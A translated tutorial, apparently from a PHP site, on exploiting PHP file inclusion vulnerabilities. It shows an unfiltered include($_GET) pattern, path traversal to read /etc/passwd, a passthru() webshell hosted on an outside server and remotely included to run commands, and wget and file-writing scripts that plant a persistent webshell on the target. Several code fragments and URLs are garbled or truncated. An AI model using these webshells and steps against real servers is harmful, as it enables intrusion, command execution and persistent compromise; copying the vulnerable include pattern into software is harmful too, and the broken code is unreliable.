Almost all cgi programs have such bugs, but the specific manifestations are different.
1. Dangerous functions involved [include(), require() and include_once(), require_once()]
include() && require() statement: include and run the specified file.
These two structures are exactly the same except for how they handle failures. include() produces a warning and require() results in a fatal error. In other words, use require() if you want to stop processing the page if a missing file is encountered. This is not the case with include() and the script will continue to run.
If "allow_url_fopen" is activated in PHP (the default configuration), it is also possible to specify files to be included using URLs (via HTTP or other supported encapsulation protocols) instead of local files. If the target server interprets the target file as PHP code, you can pass variables to the included file using the URL request string for HTTP GET.
require_once() && include_once()
require_once () and include_once() statements include and run the specified file during script execution. This behavior is similar to the require() statement, the only difference is that if the code in the file is already included, it will not be included again. Suitable for situations where the same file may be included more than once during script execution, and you want to ensure that it is only included once to avoid problems such as function redefinition, variable reassignment, etc.
2. Why include files
When programmers write programs, they don’t like to do the same thing, nor do they like to write the same code (such as some common functions) several times, so they write the code that needs to be shared. In a separate file, such as share.php, and then make include calls in other files. In PHP, we use the functions listed above to achieve this purpose. Its workflow: If you want to include share.php in main.php, I will write include("share.php") like this The purpose is achieved, and then you can use the functions in share.php. There is no problem with hard-coding the file name that needs to be included, and there will be no loopholes. So where is the problem?
Sometimes you may not be sure which file needs to be included. For example, let’s take a look at the code of the file index.php below:
[code]
if ($_GET ) {
include $_GET
} else {
include "home.php";
}
[/code]
A very normal piece of PHP code, how does it work? This involves the meaning of $_GET, so I won’t go into it (otherwise I can write another article about HTTP). If you don’t understand GET, POST, etc., then you need to Google some relevant information to make up for it. One supplement.
1. Submit the above URL and get the value of this page ($_GET) in index.php.
2. Determine whether $_GET
is empty. If not (here is main.php), use include to include this file.
3. If $_GET
is empty, execute else to include the file home.php.
3. Why does the vulnerability occur?
You may want to say, this is great. You can dynamically include files according to the URL. How convenient. How does the vulnerability occur? The answer to the question is: we are not clever. We always like to be different from others. We will not follow his links. We may want to write the files we want to include (call) ourselves. For example, we will type in the following URL casually. : http://www.jb51.net/php/index.php?page=hello.php. Then our index.php program foolishly follows the steps we mentioned above: take the page as hello.php, and then go to include(hello.php). At this time, the problem arises, because we do not have the file hello.php. , so it will report a warning when including, similar to the following information:
Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/php/ index.php on line 3
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/php/index.php on line 3
Note The Warning above means that the hello.php file we specified cannot be found, that is, the file with the path we specified cannot be included; and the subsequent warning is because the specified file was not found previously, so a warning is issued when it is included.
4. How to exploit
As you can see above, a problem has arisen, so how do we exploit such a vulnerability? There are actually many exploitation methods, but they are essentially the same. I will mention three more common exploitation methods here:
1. Including reading other files on the target machine
As we can see from the above, since the obtained parameter page is not filtered, we can arbitrarily specify other sensitive files on the target host. For example, in the previous warning, we You can see the exposed absolute path (vhost/php/), then we can detect it multiple times to include other files, for example, specify the URL as: http: //www.jb51.net/php/index.php?page=. /txt.txt can read the txt.txt file under the current path, or you can use .. /../ to jump to the directory (without filtering ../); you can also directly specify the absolute path to read Sensitive system files, such as this URL: http://www.phphtm.com/php/index.php?page=/etc/passwd, if the target host does not have strict permission restrictions, or the permissions to start Apache are relatively high , the contents of this file can be read. Otherwise, you will get a Warning similar to: open_basedir restriction in effect.
2. Contains runnable PHP Trojan
If the "allow_url_fopen" of the target host is activated (the default is activated, few people will modify it), we can have more space for utilization, and we can specify other URLs A webshell containing PHP code to run directly. For example, I first write a PHP code to run the command (with comments, it should be understandable), and save it as cmd.txt as follows (the suffix is not important, as long as the content is in PHP format That’s it).
CODE: [Copy to clipboard]
----------------------------------------- ---------------------------------------
if (get_magic_quotes_gpc())
{$ _REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //Remove escape characters (can remove backslash characters in strings)
ini_set("max_execution_time",0); //Set Set the execution time of this file, 0 means no limit.
echo "
1.S.T
"; //Print the returned start line prompt information
passthru($_REQUEST["cmd"]); //Run cmd specified The command
echo "
1.S.T
"; // Print the returned end line prompt information
?>
The function of the above file is to accept the command specified by cmd, and call the passthru function to execute it, returning the content to 1 .S.T. Save this file to the server of our host (it can be a host that does not support PHP), as long as it can be accessed through HTTP, for example, the address is as follows: http://www.phphtm.com/cmd.txt, and then we You can construct the following URL on the vulnerable host to exploit: http: //www.phphtm.com/php/index.php?page=http://www.phphtm.com/cmd.txt?cmd=ls, What follows cmd is the command you need to execute. Other commonly used commands (taking *UNIX as an example) are as follows:
Quote:
ll List directories and files (equivalent to dir under Windows)
pwd View the current absolute path
id whoami View the current user
wget Download the file of the specified URL
Wait for others, you can go to BAIDU to find them on your host, I won’t list them.
The above method is to get a Webshell (Although this PHP file is not on the target machine, it is indeed a Webshell, isn't it? Haha)
3. Contains a PHP file that creates the file
Some people may think that the target is still obtained It is more reliable to have a real Webshell on the machine. If one day someone discovers that the included vulnerability has been patched, we will no longer be able to remotely include the "fake" Webshell above, right? This mentality is understandable, let’s continue. To get a real Webshell, we also talk about two common methods:
1) Use commands like wget to download a Webshell
This is relatively simple and very commonly used. In the pseudo webshell we got above, we If you can execute commands, then we can also call a very powerful role in the system, wget. You can google how powerful this command is. There are a lot of parameters, which will definitely confuse you. Haha, we don’t need to be so complicated, we just Just use -O (--output-document=FILE, write the document to the FILE file), haha.
The premise is that you follow the previous steps and place a Webshell containing PHP code in a place that can be accessed through HTTP or FTP, such as: http://www.jb51.net/1stphp.txt, which is written in this file It is the content of Webshell. Then we execute the following URL in the pseudo Webshell we obtained earlier: http://www.phphtm.com/php/index.php?page=http://www.phphtm.com/cmd.txt? cmd=wget http ://www.phphtm.com, if the current directory is writable, you can get a Webshell called 1stphp.php; if the current directory is not writable, you need to think of other methods.
2) Use files to create
The previous wget may encounter the situation that the current directory cannot be written; or the target host has disabled (or not installed) this command, we need to work around it again, we can combine the previous include The file vulnerability contains a PHP script that creates files (writes files). The content is as follows:
CODE: [Copy to clipboard]
----------------------- -------------------------------------------------- -------
$f=file_get_contents(http://www.phphtm.com); //Open the file stream at the specified path
$ff=fopen("./upload/1st.php"," a"); //Find a possible directory and create a file
fwrite ($ff,$f); //Write the previously opened file stream into the created file
fclose($ff); //Close and save The file
?>
is still written to the php file we downloaded with wget above, but we have improved the method and implemented it with a PHP script. You can use the cmd.php?cmd=ll above to find the writable directory, such as here upload, and then create the file in this directory: ./upload/1st.php. Then we get our webshell.
5. Afterwords
In fact, our sub-topic can be ended here. Finally, I will say a few words. File inclusion vulnerabilities are basically relatively simple vulnerabilities with high risk factors. They are still vulnerable in many systems. There are many of them that can be found as long as you are careful. The process of using it is relatively flexible. If you are good at analyzing problems and finding solutions, you can make progress slowly.
There is a lot of knowledge involved in the loopholes, and we cannot cover them all one by one. There is no mention of where to clear them. You are welcome to ask questions, or go to Google to solve them yourself. Time is in a hurry, so I hope everyone can correct me if the description is inappropriate!
Finally, this kind of thing requires more practice. When I have time, I will find a specific example to go through this process so that everyone can have a deep understanding; you can also look for it now to see what loopholes you find. I hope I can share my more detailed analysis and utilization process with everyone here!
Thank you for reading. For more related articles, please pay attention to the PHP Chinese website (www.php.cn)!